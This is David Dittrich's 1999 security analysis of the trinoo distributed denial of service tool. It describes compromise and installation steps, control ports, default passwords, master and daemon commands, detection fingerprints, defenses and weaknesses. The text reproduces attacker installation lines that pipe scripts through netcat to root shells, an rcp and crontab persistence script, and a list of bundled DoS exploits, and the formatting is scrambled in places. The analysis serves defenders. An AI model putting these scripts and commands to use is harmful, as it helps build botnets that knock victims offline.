The DoS Project's "trinoo" distributed denial of service attack tool


David Dittrich <>
University of Washington
Copyright 1999. All rights reserved.
October 21, 1999


The following is an analysis of the DoS Project's "trinoo" (a.k.a.
"trin00") master/slave programs, which implement a distributed
network denial of service tool.

Trinoo daemons were originally found in binary form on a number of
Solaris 2.x systems, which were identified as having been compromised
by exploitation of buffer overrun bugs in the RPC services "statd",
"cmsd" and "ttdbserverd".  These attacks are described in CERT
Incident Note 99-04:

The trinoo daemons were originally believed to be UDP based,
access-restricted remote command shells, possibly used in conjunction
with sniffers to automate recovering sniffer logs.

During investigation of these intrusions, the installation of a trinoo
network was caught in the act and the trinoo source code was obtained
from the account used to cache the intruders' tools and log files.
This analysis was done using this recovered source code.

Modification of the source code would change any of the details
in this analysis, such as prompts, passwords, commands, TCP/UDP port
numbers, or supported attack methods, signatures, and features.

The daemon was compiled and run on Solaris 2.5.1 and Red Hat Linux 6.0
systems.  The master was compiled and run on Red Hat Linux 6.0.  It is
believed that both master and daemon have been witnessed "in the
wild" on these same platforms.

Trinoo networks are probably being set up on hundreds, perhaps
thousands, of systems on the Internet that are being compromised by
remote buffer overrun exploitation.  Access to these systems is
probably being perpetuated by the installation of multiple "back
doors" along with the trinoo daemons.

A trinoo network of at least 227 systems -- 114 of these at Internet2
sites -- was used on August 17, 1999 to flood a single system at the
University of Minnessota, swamping the target network and rendering it
unusable for over two days.  While responding to this attack, large
flows were also noticed going to at least sixteen other systems, some
outside the US.  (See Appendix D for a report of part of this trinoo

Attack scenario

A typical installation might go something like this.

1).  A stolen account is set up as a repository for pre-compiled
versions of scanning tools, attack (i.e. buffer overrun exploit)
tools, root kits and sniffers, trinoo daemon and master programs,
lists of vulnerable hosts and previously compromised hosts, etc.  This
would normally be a large system with many users, one with little
administrative oversight, and on a high-bandwidth connection for rapid
file transfer.

2).  A scan is performed of large ranges of network blocks to identify
potential targets.  Targets would include systems running various
services known to have remotely exploitable buffer overflow security
bugs, such as wu-ftpd, RPC services for "cmsd", "statd",
"ttdbserverd", "amd", etc.  Operating systems being targeted appear to
be primarily Sun Solaris 2.x and Linux (due to the ready availability
of network sniffers and "root kits" for concealing back doors, etc.),
but stolen accounts on any architecture can be used for caching tools
and log files.

3).  A list of vulnerable systems is then used to create a script that
performs the exploit, sets up a command shell running under the root
account that listens on a TCP port (commonly 1524/tcp, the
"ingreslock" service port), and connects to this port to confirm the
success of the exploit.  In some cases, an electronic mail message is
sent to an account at a free web based email service to confirm which
systems have been compromised.

The result is a list of "owned" systems ready for setting up
back doors, sniffers, or the trinoo daemons or masters.

4). From this list of compromised systems, subsets with the desired
architecture are chosen for the trinoo network.  Pre-compiled binaries
of the trinoo daemon are created and stored on a stolen account
somewhere on the Internet.

5). A script is then run which takes this list of "owned" systems and
produces yet another script to automate the installation process,
running each installation in the background for maximum multitasking.

This script uses "netcat" ("nc") to pipe a shell script to the root
shell listening on, in this case, port 1524/tcp:

./ | nc 1524 &
./ | nc 1524 &
./ | nc 1524 &
./ | nc 1524 &
./ | nc 128.bbb.2.80 1524 &
./ | nc 128.bbb.2.81 1524 &
./ | nc 128.bbb.2.238 1524 &
./ | nc 128.ccc.12.22 1524 &
./ | nc 128.ccc.12.50 1524 &
 . . .

The script "", whose output is being piped to these systems,
looks like:

echo "rcp /usr/sbin/rpc.listen"
echo "echo rcp is done moving binary"

echo "chmod +x /usr/sbin/rpc.listen"

echo "echo launching trinoo"
echo "/usr/sbin/rpc.listen"

echo "echo \* \* \* \* \* /usr/sbin/rpc.listen > cron"
echo "crontab cron"
echo "echo launched"
echo "exit"

Depending on how closely crontab files are monitored, or if they are
used at all, this may be detected easily.  If cron is not used at all
by this user (usually root), it may not be detected at all.

Another method was witnessed on at least one other system, where the
daemon was named "xterm", and was started using a script (named "c" on
the system on which it was found) that contains:

cd /var/adm/.1
export PATH
xterm 1>/dev/null 2>&1

This would supposedly imply a method of running this script on demand
to set up the trinoo network.

Even more subtle ways of having trinoo daemons/masters lie in wait for
execution at a given time are easy to envision (e.g., UDP or ICMP
based client/server shells, such as LOKI (see Appendix C) , programs
that wake up periodically and open a listening TCP or UDP port, etc.)

The result of this automation is the ability for attackers to set up
the denial of service network, on widely dispersed systems whose true
owners don't even know are out of their control, in a very short time

6).  Optionally, a "root kit" is installed on the system to hide the
presence of programs, files, and network connections.   This is more
important on the master system, since these systems are key to the
trinoo network. (It should be noted that in many cases, masters have
been set up on Internet Service Providers' primary name server hosts,
which would normally have extremely high packet traffic and large
numbers of TCP and UDP connections, which would effectively hide any
trinoo related traffic or activity, and would likely not be detected.
(The fact that these are primary name servers would also tend to make
the owners less likely to take the system off the Internet when
reports begin to come in about suspected denial of service related

Root kits would also be used on systems running sniffers that, along
with programs like "hunt" (TCP/IP session hijacking tool) are used to
burrow further into other networks directly, rather than through
remote buffer overrun exploits (e.g., to find sites to set up new file
repositories, etc.)

For more on "root kits" and some ways to get around them, see:

The network: attacker(s)-->master(s)-->daemon(s)-->victim(s)

The trinoo network is made up of a master server ("master.c") and the
trinoo daemon ("ns.c").  A trinoo network would look like this:

                  +----------+           +----------+
                  | attacker |           | attacker |
                  +----------+           +----------+
                       |                      |
        . . . --+------+---------------+------+----------------+-- . . .
                |                      |                       |
                |                      |                       |
           +----------+           +----------+            +----------+
           |  master  |           |  master  |            |  master  |
           +----------+           +----------+            +----------+
                |                      |                       |
                |                      |                       |
. . . ---+------+-----+------------+---+--------+------------+-+-- . . .
         |            |            |            |            |
         |            |            |            |            |
     +--------+   +--------+   +--------+   +--------+   +--------+
     | daemon |   | daemon |   | daemon |   | daemon |   | daemon |
     +--------+   +--------+   +--------+   +--------+   +--------+

The attacker(s) control one or more "master" servers, each of which
can control many "daemons" (known in the code as "Bcast", or
"broadcast" hosts.)  The daemons are all instructed to coordinate a
packet based attack against one or more victim systems.

All that is then needed is the ability to establish a TCP connection
to the master hosts using "telnet" and the password to the master
server to be able to wage massive, coordinated, denial of service

Communication ports

    Attacker to Master(s):	27665/tcp
    Master to daemon(s):	27444/udp
    Daemon to Master(s):	31335/udp

Remote control of the trinoo master is accomplished via a TCP
connection to port 27665/tcp.  After connecting, the user must give
the proper password ("betaalmostdone").  If another connection is made
to the server while someone is already authenticated, a warning is
sent to them with the IP address of the connecting host (it appears
there is a bug that reports incorrect IP addresses, but a warning is
still communicated).  This will no doubt be fixed eventually and will
then give the attackers time to clean up and cover their tracks.

Communication from the trinoo master to daemons is via UDP packets
on port 27444/udp.  Command lines are space separated lines of the

	arg1 password arg2

The default password for commands is "l44adsl", and only command lines
that contain the substring "l44" are processed.

Communication from the trinoo daemons and the master is via UDP
packets on port 31335/udp.

When the daemon starts, it initially sends "*HELLO*" to the master,
which maintains a list of active daemons that it controls (packet
captured using "sniffit"):

UDP Packet ID (from_IP.port-to_IP.port):
 45 E 00 . 00 . 23 # B1 . 5D ] 40 @ 00 . F8 . 11 . B9 . 27 . C0 . A8 . 00 . 01 .
 0A . 00 . 00 . 01 . 80 . 6C l 7A z 67 g 00 . 0F . 06 . D4 . 2A * 48 H 45 E 4C L
 4C L 4F O 2A *

If the trinoo master sends a "png" command to a daemon on port
27444/udp, the daemon will reply to the server that just sent the "png"
command by sending the string "PONG" on port 31335/udp:

UDP Packet ID (from_IP.port-to_IP.port):
 45 E 00 . 00 . 27 ' 1A . AE . 00 . 00 . 40 @ 11 . 47 G D4 . 0A . 00 . 00 . 01 .
 C0 . A8 . 00 . 01 . 04 . 00 . 6B k 34 4 00 . 13 . 2F / B7 . 70 p 6E n 67 g 20  
 6C l 34 4 34 4 61 a 64 d 73 s 6C l

UDP Packet ID (from_IP.port-to_IP.port):
 45 E 00 . 00 . 20   13 . 81 . 40 @ 00 . F8 . 11 . 57 W 07 . C0 . A8 . 00 . 01 .
 0A . 00 . 00 . 01 . 80 . 6F o 7A z 67 g 00 . 0C . 4E N 24 $ 50 P 4F O 4E N 47 G

Password protection

Both the master and daemons are password protected to prevent
system administrators (or other hacker groups) from being able to take
control of the trinoo network.  These passwords are crypt() style
passwords.  They are used in a symmetric fashion, where the encrypted
password is compiled into the master and daemons and used to compare
against the clear-text version of the password that is sent over the
network (the current version does not encrypt the actual session, so the
clear-text passwords are exposed in transit and the master control
sessions are subject to TCP session highjacking).

When initially run, the master daemon produces a prompt, waiting
for a password.  If the proper password is not received, the program
exits.  If the proper password is given, the process announces its
execution, forks to continue running in the background, and exits:
  1. ./master
?? wrongpassword
  1. . . .
  2. ./master
?? gOrave trinoo v1.07d2+f3+c [Sep 26 1999:10:09:24]
  1. Likewise, when you connect to the remote command port (default
27665/tcp), you must also give a password: attacker$ telnet 27665 Trying Connected to Escape character is '^]'. kwijibo Connection closed by foreign host. . . . attacker$ telnet 27665 Trying Connected to Escape character is '^]'. betaalmostdone trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/] trinoo> Certain commands sent to the trinoo daemons by the master are also password protected. This password is sent in clear text between the master and daemons. The default passwords were: "l44adsl" trinoo daemon password "gOrave" trinoo master server startup ("?? " prompt) "betaalmostdone" trinoo master remote interface password "killme" trinoo master password to control "mdie" command Master commands --------------- The trinoo master supports the following commands: die Shut down the master. quit Log off the master. mtimer N Set DoS timer to N seconds. N can be between 1 and 1999 seconds. If N is < 1, it defaults to 300. If N is > 2000, it defaults to 500. dos IP DoS the IP address specified. A command ("aaa l44adsl IP") is sent to each Bcast host (i.e., trinoo daemons) telling them to DoS the specified IP address. mdie pass Disable all Bcast hosts, if the correct password is specified. A command is sent ("d1e l44adsl") to each Bcast host telling them to shut down. A separate password is required for this command. mping Send a PING command ("png l44adsl") to every active Bcast host. mdos <ip1:ip2:ip3> Multiple DoS. Sends a multiple DoS command ("xyz l44adsl 123:ip1:ip2:ip3") to each Bcast host. info Print version and compile information, e.g.: This is the "trinoo" AKA DoS Project master server version v1.07d2+f3+c Compiled 15:08:41 Aug 16 1999 msize Set the buffer size for packets sent during DoS attacks. nslookup host Do a name service lookup of the specified host from the perspective of the host on which the master server is running. killdead Attempts to weed out all dead Bcast hosts by first sending all known Bcast hosts a command ("shi l44adsl") that causes any active daemons to reply with the initial "*HELLO*" string, then renames the Bcast file (with extension "-b") so it will be re-initialized when the "*HELLO*" packets are received. usebackup Switch to the backup Bcast file created by the "killdead" command. bcast List all active Bcast hosts. help [cmd] Give a (partial) list of commands, or a brief description of the command "cmd" if specified. mstop Attempts to stop a DoS attack (not implemented, but listed in the help command). Daemon commands --------------- The trinoo daemon supports the following commands: aaa pass IP DoS the specified IP address. Sends UDP packets to random (0-65534) UDP ports on the specified IP addresses for a period of time (default is 120 seconds, or 1 - 1999 seconds as set by the "bbb" command.) The size of the packets is that set by the "rsz" command, or the default size of 1000 bytes. bbb pass N Sets time limit (in seconds) for DoS attacks. shi pass Sends the string "*HELLO*" to the list of master servers compiled into the program on port 31335/udp. png pass Sends the string "PONG" to the master that issued the the command on port 31335/udp. d1e pass Shut down the trinoo daemon. rsz N Set size of buffer for DoS attacks to N bytes. (The trinoo daemon simply malloc()s a buffer with this size, then sends the uninitialized contents of the buffer during an attack.) xyz pass 123:ip1:ip2:ip3 Multiple DoS. Does the same thing as the "aaa" command, but for multiple IP addresses. It could be coincidence, but I will give the author some credit and assume that three letter commands were chosen so they don't show up in the binary as visible strings under the default behavior of STRINGS(1). You must use the "--bytes=3" option of GNU STRINGS(1) to see the commands:
  1. strings --bytes=3 ns | tail -15
socket bind recvfrom l44 %s %s %s aIf3YWfOhw.V. aaa bbb shi png PONG d1e rsz xyz
  • HELLO*
Fingerprints ------------ The method used to install the trinoo daemon on some systems employs a crontab entry to start the daemon every minute. Examining crontab files would locate this entry:
  • * * * * /usr/sbin/rpc.listen
The master program creates a file (default name "...") containing the set of Bcast hosts. If the command "killdead" is used, an "shi" command is sent to all daemons listed in "...", which causes them to send the initial "*HELLO*" string to all masters. The current list is renamed (default "...-b") and a new list is then generated as each remaining live daemon sends its "*HELLO*". The source code ("master.c") contains the following lines: ------------------------------------------------------------------------------ . . . /* crypt key encrypted with the key 'bored'(so hex edit cannot get key easily?) comment out for no encryption... */
  1. define CRYPTKEY "ZsoTN.cq4X31"
. . . ------------------------------------------------------------------------------ If the program was compiled with CRYPTKEY defined, the IP addresses of Bcast hosts are encrypted using the Blowfish encryption algorithm:
  1. ls -l ... ...-b
-rw------- 1 root root 25 Sep 26 14:46 ... -rw------- 1 root root 50 Sep 26 14:30 ...-b
  1. cat ...
  1. cat ...-b
aE5sK0PIFws0Y0EhH02fLVK. JPbUc05Swk/0gMvui18BrFH/ Assuming there is no "root kit" present to hide processes, the master server shows the following network socket fingerprints (of course, the names and directory locations of either program are subject to change): ------------------------------------------------------------------------------
  1. netstat -a --inet
Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 *:27665 *:* LISTEN . . . udp 0 0 *:31335 *:* . . .
  1. lsof | egrep ":31335|:27665"
master 1292 root 3u inet 2460 UDP *:31335 master 1292 root 4u inet 2461 TCP *:27665 (LISTEN)
  1. lsof -p 1292
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME master 1292 root cwd DIR 3,1 1024 14356 /tmp/... master 1292 root rtd DIR 3,1 1024 2 / master 1292 root txt REG 3,1 30492 14357 /tmp/.../master master 1292 root mem REG 3,1 342206 28976 /lib/ master 1292 root mem REG 3,1 63878 29116 /lib/ master 1292 root mem REG 3,1 4016683 29115 /lib/ master 1292 root 0u CHR 4,1 2967 /dev/tty1 master 1292 root 1u CHR 4,1 2967 /dev/tty1 master 1292 root 2u CHR 4,1 2967 /dev/tty1 master 1292 root 3u inet 2534 UDP *:31335 master 1292 root 4u inet 2535 TCP *:27665 (LISTEN) ------------------------------------------------------------------------------ A system running a daemon would show the following: ------------------------------------------------------------------------------
  1. netstat -a --inet
Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State . . . udp 0 0 *:1024 *:* udp 0 0 *:27444 *:* . . .
  1. lsof | egrep ":27444"
ns 1316 root 3u inet 2502 UDP *:27444
  1. lsof -p 1316
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME ns 1316 root cwd DIR 3,1 1024 153694 /tmp/... ns 1316 root rtd DIR 3,1 1024 2 / ns 1316 root txt REG 3,1 6156 153711 /tmp/.../ns ns 1316 root mem REG 3,1 342206 28976 /lib/ ns 1316 root mem REG 3,1 63878 29116 /lib/ ns 1316 root mem REG 3,1 4016683 29115 /lib/ ns 1316 root 0u CHR 4,1 2967 /dev/tty1 ns 1316 root 1u CHR 4,1 2967 /dev/tty1 ns 1316 root 2u CHR 4,1 2967 /dev/tty1 ns 1316 root 3u inet 2502 UDP *:27444 ns 1316 root 4u inet 2503 UDP *:1024 ------------------------------------------------------------------------------ Defenses -------- Of course, the best defense is to prevent intrusions and root level compromise of your systems in the first place, so there would be no systems on which to install trinoo master/daemons. In an ideal world, all systems would be patched, secured, monitored, intrusion detection systems and firewalls would be available to detect and reject packets, and I'd be a multi-millionaire living six months of the year in a beach mansion on Bali, and six months in the French Alps. In the real world, this is not an option (at least not in the foreseeable future.) Instead, your network may already have several trinoo daemons running and ready to DoS other systems at any minute. So how can they be detected or disabled? Because the programs use high numbered UDP ports for both communication and attack, it will be very difficult (if not impossible) to block it without breaking programs that use UDP on high numbered ports. The easiest method to detect the presence of trinoo masters or daemons (as the code exists presently) may be to monitor all UDP packets on shared Ethernet segments and look for the tell tale signs of communication between master(s) and daemon(s) as described elsewhere in this paper. (Switches would preclude seeing UDP packets that are not associated with the MAC address of the monitoring host's network interface.) Unfortunately, this would only occur during an attack, which would likely become known by network throughput degradation and/or reports of denial of service attacks from victim sites. If a system is suspected of hosting a trinoo daemon that is actively attacking, the output of the Solaris "truss" program on the running daemon will show output like the following: ------------------------------------------------------------------------------ . . . getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C) = 0 getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C) (sleeping...) getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C) = 0 time() = 938385467 open("/dev/udp", O_RDWR) = 5 ioctl(5, I_PUSH, "sockmod") = 0 ioctl(5, I_STR, 0xEFFFF748) = 0 ioctl(5, I_SETCLTIME, 0xEFFFF7FC) = 0 ioctl(5, I_SWROPT, 0x00000002) = 0 sigprocmask(SIG_SETMASK, 0xEFFFF7EC, 0xEFFFF7DC) = 0 ioctl(5, I_STR, 0xEFFFF660) = 0 sigprocmask(SIG_SETMASK, 0xEFFFF7DC, 0xEFFFF7B8) = 0 sigprocmask(SIG_BLOCK, 0xEFFFF548, 0xEFFFF5C0) = 0 ioctl(5, I_STR, 0xEFFFF548) = 0 sigprocmask(SIG_SETMASK, 0xEFFFF5C0, 0x00000000) = 0 putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0 time() = 938385467 putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0 time() = 938385467 putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0 time() = 938385467 putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0 time() = 938385467 putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0 time() = 938385467 putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0 time() = 938385467 putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0 time() = 938385467 putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0 time() = 938385467 putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0 time() = 938385467 putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0 time() = 938385467 . . . ------------------------------------------------------------------------------ The traffic on the network during an attack against a single target (as seen by "tcpdump") would look like: ------------------------------------------------------------------------------
  1. tcpdump ip host
. . . 15:40:08.491782 > udp 25 15:40:08.574453 > 216.160.XX.YY.16838: udp 4 (DF) 15:40:08.576427 > 216.160.XX.YY.5758: udp 4 (DF) 15:40:08.579752 > 216.160.XX.YY.10113: udp 4 (DF) 15:40:08.583056 > 216.160.XX.YY.17515: udp 4 (DF) 15:40:08.600948 > 216.160.XX.YY.31051: udp 4 (DF) 15:40:08.604943 > 216.160.XX.YY.5627: udp 4 (DF) 15:40:08.610886 > 216.160.XX.YY.23010: udp 4 (DF) 15:40:08.614202 > 216.160.XX.YY.7419: udp 4 (DF) 15:40:08.615507 > 216.160.XX.YY.16212: udp 4 (DF) 15:40:08.616854 > 216.160.XX.YY.4086: udp 4 (DF) 15:40:08.618827 > 216.160.XX.YY.2749: udp 4 (DF) 15:40:08.623480 > 216.160.XX.YY.12767: udp 4 (DF) 15:40:08.625458 > 216.160.XX.YY.9084: udp 4 (DF) 15:40:08.628764 > 216.160.XX.YY.12060: udp 4 (DF) 15:40:08.632090 > 216.160.XX.YY.32225: udp 4 (DF) . . . ------------------------------------------------------------------------------ Weaknesses ---------- The first weakness is that the crypt() encrypted passwords, and some prompts and return strings, are visible in both the master and daemon binary images. This can allow you to identify whether you have found a master or a daemon, determine whether the passwords are the defaults shown in this paper or not, and potentially allow you to exploit the password weaknesses to take control of some/all of the trinoo network yourself. If the source code has been modified (which it no doubt will by smarter attackers), you would need to crack the passwords, or use a hexadecimal/ASCII editor (e.g., "xxd", part of the VIM editor suite) and change them in the binary image, in order to, for example, run the master to retrieve the list of daemons. If the source has not, you can determine this fact by observing the strings embedded in the program binary: ------------------------------------------------------------------------------
  1. strings - ns
. . . socket bind recvfrom %s %s %s aIf3YWfOhw.V. <=== crypt() encrypted password "l44adsl" PONG
  • HELLO*
. . .
  1. strings - master
. . . ---v v1.07d2+f3+c trinoo %s l44adsl <=== clear text version of daemon password sock 0nm1VNMXqRMyM <=== crypt() encrypted password "gOrave" 10:09:24 Sep 26 1999 trinoo %s [%s:%s] bind read
  • HELLO*
ZsoTN.cq4X31 <=== CRYPTKEY bored NEW Bcast - %s PONG PONG %d Received from %s Warning: Connection from %s beUBZbLtK7kkY <=== crypt() encrypted password "betaalmostdone" trinoo %s..[rpm8d/cb4Sx/] . . . DoS: usage: dos <ip> DoS: Packeting %s. aaa %s %s mdie ErDVt6azHrePE <=== crypt() encrypted password for "mdie" command mdie: Disabling Bcasts. d1e %s mdie: password? . . . ------------------------------------------------------------------------------ Next, and more vulnerable, is the daemon password, which travels the network in clear text form. Assuming you know the UDP port on which the master communicates to the client, you can capture the password using "sniffit", "ngrep", "tcpdump", or any network monitoring program capable of showing UDP packet data payloads (see Appendix A for a sample session logged with "ngrep"). For example, here is the "png" command being sent to the trinoo daemon as seen by "sniffit": UDP Packet ID (from_IP.port-to_IP.port): 45 E 00 . 00 . 27 ' 1A . AE . 00 . 00 . 40 @ 11 . 47 G D4 . 0A . 00 . 00 . 01 . C0 . A8 . 00 . 01 . 04 . 00 . 6B k 34 4 00 . 13 . 2F / B7 . 70 p 6E n 67 g 20 6C l 34 4 34 4 61 a 64 d 73 s 6C l As was mentioned earlier, the "mdie" command in the trinoo master is password protected in the master itself. There are a couple ways to attack this. If you can determine the crypt() encrypted string using the Unix "strings" command, you could (potentially) use a password cracking utility, such as "crack", and break it (see Appendix C). This may take a LONG time if the password was well chosen, but it is feasible (and the "killme" password for the "mdie" command was cracked in less than 30 seconds on a Pentium II). You could try to sniff the password on the wire between the attacker and the master, but presumably this command would not be used by the attackers often, if at all, since they want the daemons to be active when needed for an attack. You may have more luck sniffing the daemon password, since it is required for most commands. This can be done on either the daemon's or master's network (these are usually entirely different networks.) It should be easier to accomplish on the daemon's network since there are far more daemons than masters. Since many of the masters have been found on primary name servers, presumably there would be more traffic on high-numbered UDP ports on networks containing masters than on networks containing daemons (outside of the duration of denial of service attacks, that is.) Furthermore you will likely find several daemons at a given site, possibly as a result of detecting the original system compromise. Once you have located a daemon, you have also found the list of IP addresses of masters (use "strings" to see them.) You should immediately contact these sites and convince them to closely inspect the system for signs of intrusion, with likely "root kit" installations to make this task more difficult, and attempt to coordinate a response. Having found a master, the list of daemons (which will likely include hosts at many other sites) can be obtained by simply identifying the file which contains the list, if unencrypted. If, however, the file is encrypted, you would either have to decrypt the Blowfish encrypted file using the same key compiled into the program, or by taking control of the master and using the "bcast" command. It you have identified an active command session to a master, which is a standard "telnet" style TCP session, you could hijack the session using "hunt" and start executing commands. Not knowing the "mdie" command password, you could not disable all the daemons directly, but you COULD use the "bcast" command and get a list of all of them (you would probably want to do this using the "script" command to generate a transcript of the session, as this could be a very large list). Once you know the addresses of all the daemons, and the daemon password (visible in "strings" output), you could then send the proper command string in UDP packets to any suspected trinoo daemon(s). Creation and transmission of UDP packets can be accomplished with tools like LibNet, Spak, the Perl Net::RawIP library, etc. (A Perl script using Net::RawIP named "trinot" has been developed to accomplish this task. See Appendix B). As the typical installation of the daemon includes a crontab entry that runs it every minute, you would have to constantly spray your entire network to keep the daemons from re-starting. (This may be due to programming bugs that cause the daemons to crash occasionally, or may be to defeat system administrators who simply notice and kill the process, but do not think to check for a crontab entry that re-starts the daemon.) The daemons can also be found on your network by sniffing the data portion of UDP packets for the strings "*HELLO*" and "PONG", or any of the command strings themselves for that matter (until the source is modified to change these strings, of course.) The "ngrep" program works nicely for this: ------------------------------------------------------------------------------
  1. ngrep -i -x "*hello*|pong" udp
interface: eth0 ( filter: ip and ( udp ) match: *hello*|pong . . .
  1. U ->
2a 48 45 4c 4c 4f 2a *HELLO*
  1. ##
U -> 50 4f 4e 47 PONG U -> 50 4f 4e 47 PONG U -> 50 4f 4e 47 PONG . . . ------------------------------------------------------------------------------ While not weaknesses in trinoo itself, there are also weaknesses in the way the trinoo networks are set up. As mentioned earlier, some systems showed crontab entries used to start the daemons once per minute. This leaves an obvious fingerprint on crontab files. The scripts observed to automate the installation of trinoo networks use the Berkeley "rcp" command (use of rcp has also been observed in a file upload capability built into newer versions of the "Tribe Flood Network" daemon program). Monitoring "rcp" connections (514/tcp) from multiple systems on your network, in quick succession, to a single IP address outside your network would be a good trigger. (Note that the use of "rcp" in a script requires an anonymous trust relationship, usually in the form of "+ +" in a user's ~/.rhosts file, which also will allow you to immediately archive the contents of this account while contacting the owners to preserve evidence.) (Further analysis of trinoo by George Weaver of Pennsylvania State University and David Brumley of Stanford niversity is included in Appendix E - Further methods of detecting trinoo. George deserves special credit for attempting to hand-decompile a recovered SPARC binary image! ;) The next logical evolutionary steps ----------------------------------- One of the easiest attacks to implement is the denial of service attack. Many bugs exist in TCP/IP stacks, for example, that allow fragmented packets, large packets, IP options, half-open TCP connections, or floods of packets (highest bandwidth wins) etc., to cause the system performance to be degraded, or actually crash the system. As each bug is found, an exploit program demonstrating the bug is generally produced. Each of these exploit programs is generally unique, exploiting a specific bug that may only affect a single TCP/IP implementation (although with Microsoft having such a large market share of personal computers, and many home users being almost totally unaware of such bugs, let alone where to get and how to apply patches to fix these bugs, the chances are high that a multi-exploit attack will succeed in crashing the target system.) These denial of service exploits are available from numerous sites on the Internet, such as: The next step was to combine multiple denial of service exploits into one tool, using Unix shell scripts. One such tool, named "rape", (according to the code it was written in 1998 by "mars", with modifications by "TheVirus" and further code improvements by "ttol") integrates the following exploits into a single shell script: echo "Editted for use with" echo "rapeing $IP. using weapons:" echo "latierra " echo -n "teardrop v2 " echo -n "newtear " echo -n "boink " echo -n "bonk " echo -n "frag " echo -n "fucked " echo -n "troll icmp " echo -n "troll udp " echo -n "nestea2 " echo -n "fusion2 " echo -n "peace keeper " echo -n "arnudp " echo -n "nos " echo -n "nuclear " echo -n "ssping " echo -n "pingodeth " echo -n "smurf " echo -n "smurf4 " echo -n "land " echo -n "jolt " echo -n "pepsi " A tool like this has the advantage of allowing an attacker to give a single IP address and have multiple attacks be launched (increasing the probability of successful attack), but meant having to have pre-compiled versions of each individual exploit packaged up in a Unix "tar" format archive, etc., for convenient transfer to a (usually stolen) account from which to launch the attack. To still allow multiple denial of service exploits to be used, but with a single pre-compiled program that is more easy to store, transfer, and use quickly, programs like "targa.c" by Mixter were developed. Targa combines all of the following exploits in a single C source program: /* targa.c - copyright by Mixter <> version 1.0 - released 6/24/98 - interface to 8 multi-platform remote denial of service exploits
  • /
. . . /* bonk by route|daemon9 & klepto
  • jolt by Jeff W. Roberson (modified by Mixter for overdrop effect)
  • land by m3lt
  • nestea by humble & ttol
  • newtear by route|daemon9
  • syndrop by PineKoan
  • teardrop by route|daemon9
  • winnuke by _eci */
Even combined denial of service tools like "targa" still only allow one attacker to hit one IP address at a time. To increase the effectiveness of the attack, groups of attackers, using IRC channels or telephone "voice bridges" for communication, could coordinate attacks, each person hitting a different system. This same coordination is being seen in probing for vulnerabilities, and in system compromise and control using multiple back doors and "root kits." Even this has its limits, so in less than two years, it appears the next logical step has been taken to combine the power of a number of compromised systems into a distributed "denial of service cluster." The "trinoo" tool is an example of this, as is another similar tool available in the computer underground called the "Tribe Flood Network" (or "TFN") by Mixter. While trinoo only implements UDP flood attacks, TFN supports ICMP flood, UDP flood, SYN flood, and Smurf style attacks, and is controlled via commands sent as ICMP_ECHOREPLY (ICMP Type 0) packets. It also employs Blowfish encryption, similar to trinoo. (TFN is analyzed in a separate paper). It is all but guaranteed that these tools will continue to follow this trend and evolve into truly robust, covert, and distributed denial of service attack tools that employ strong encryption of embedded strings, passwords to control execution (possibly with trip wires that self-destruct, or wipe the entire system disc, if run in the wrong way, or by the wrong person), using encrypted communication channels, and communicating using packets posing as protocols like ICMP that are difficult to detect or block by firewalls. -- David Dittrich <> Appendix A: Example of network session captured with "ngrep" ------------------------------------------------------------ The following is an example of what an attack session would look like when viewed with "ngrep". ------------------------------------------------------------------------------
  1. ngrep -x ".*" tcp port 27665 or udp port 31335 or udp port 27444
interface: eth0 ( filter: ip and ( tcp port 27665 or udp port 31335 or udp port 27444 ) match: .*
  1. U ->
2a 48 45 4c 4c 4f 2a *HELLO*
  1. T -> [AP]
ff f4 ff fd 06 .....
  1. #####
T -> [AP] 62 65 74 61 61 6c 6d 6f 73 74 64 6f 6e 65 0d 0a betaalmostdone..
  1. T -> [AP]
74 72 69 6e 6f 6f 20 76 31 2e 30 37 64 32 2b 66 trinoo v1.07d2+f 33 2b 63 2e 2e 5b 72 70 6d 38 64 2f 63 62 34 53 3+c..[rpm8d/cb4S 78 2f 5d 0a 0a 0a x/]...
  1. #
T -> [AP] 74 72 69 6e 6f 6f 3e 20 trinoo>
  1. ##
T -> [AP] 62 63 61 73 74 0d 0a bcast..
  1. T -> [AP]
4c 69 73 74 69 6e 67 20 42 63 61 73 74 73 2e 0a Listing Bcasts.. 0a .
  1. ##
T -> [AP] 31 39 32 2e 31 36 38 2e 30 2e 31 2e 20 20 20 0a 0a 45 6e 64 2e 20 31 20 42 63 61 73 74 73 20 74 .End. 1 Bcasts t 6f 74 61 6c 2e 0a 74 72 69 6e 6f 6f 3e 20 otal..trinoo>
  1. #
T -> [AP] 6d 74 69 6d 65 72 20 31 30 30 30 0d 0a mtimer 1000..
  1. #
T -> [AP] 6d 74 69 6d 65 72 3a 20 53 65 74 74 69 6e 67 20 mtimer: Setting 74 69 6d 65 72 20 6f 6e 20 62 63 61 73 74 20 74 timer on bcast t 6f 20 31 30 30 30 2e 0a o 1000..
  1. U ->
62 62 62 20 6c 34 34 61 64 73 6c 20 31 30 30 30 bbb l44adsl 1000
  1. #
T -> [AP] 6d 74 69 6d 65 72 3a 20 53 65 74 74 69 6e 67 20 mtimer: Setting 74 69 6d 65 72 20 6f 6e 20 62 63 61 73 74 20 74 timer on bcast t 6f 20 31 30 30 30 2e 0a o 1000..
  1. ##
T -> [AP] 74 72 69 6e 6f 6f 3e 20 trinoo>
  1. ##
T -> [AP] 6d 73 69 7a 65 20 33 32 30 30 30 0d 0a msize 32000..
  1. U ->
72 73 7a 20 33 32 30 30 30 rsz 32000
  1. T -> [AP]
